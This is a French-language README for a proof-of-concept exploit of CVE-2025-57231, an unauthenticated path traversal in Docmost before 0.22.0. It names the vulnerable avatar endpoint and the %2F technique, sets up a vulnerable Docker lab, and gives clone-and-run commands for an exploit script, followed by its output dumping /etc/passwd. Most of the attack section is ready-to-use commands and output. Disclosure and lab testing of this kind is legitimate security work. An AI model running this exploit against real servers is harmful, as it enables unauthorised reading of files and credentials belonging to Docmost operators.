
PoC d'exploitation en Python pour CVE-2025-57231, une traversée de chemin non authentifiée dans Docmost < 0.22.0 qui permet de lire des fichiers arbitraires via le point de terminaison avatar.
Ce dépôt contient un exploit Proof of Concept (PoC) pour CVE-2025-57231.
Ce projet est fourni à des fins éducatives et pour des tests de sécurité autorisés uniquement. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation de tester.
Une vulnérabilité de traversée de répertoire dans Docmost permet la lecture arbitraire de fichiers depuis la version 0.2.1 jusqu'à la version 0.21.0. Le point de terminaison /api/attachments/img/avatar de l'application ne valide pas correctement les chemins de fichiers et est accessible publiquement sans aucune authentification. Cela permet à des attaquants non authentifiés de récupérer le contenu arbitraire de fichiers de la cible en sondant le point de terminaison /avatar avec des séquences %2F.
Toutes les versions de Docmost de 0.2.1 jusqu'à 0.21.0 sont affectées.
Prérequis : Docker et Docker compose installés
mkdir docmost
cd docmost
curl -O https://raw.githubusercontent.com/docmost/docmost/main/docker-compose.yml
# Generate a long random secret key
openssl rand -hex 32
# Open the docker-compose.yml file and make the following changes:
# 1. Replace `image: docmost/docmost:latest` with `image: docmost/docmost:0.21.0`
# 2. Replace `APP_SECRET` with the random secret key generated above
sudo docker-compose up -d
Naviguez vers http://localhost:3000/ et saisissez des détails fictifs pour le nom de l'espace de travail, le nom, l'e-mail et le mot de passe
git clone https://github.com/anirbala98/CVE-2025-57231.git
cd CVE-2025-57231/
pip install -r requirements.txt
python exploit.py <base_url> -f <file location>
python exploit.py http://localhost:3000/ -f /etc/passwd
└─$ python exploit.py http://localhost:3000/ -f /etc/passwd
[*] Attempting to read arbitrary file
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
Mettez à niveau le plugin vers la version 0.22.0.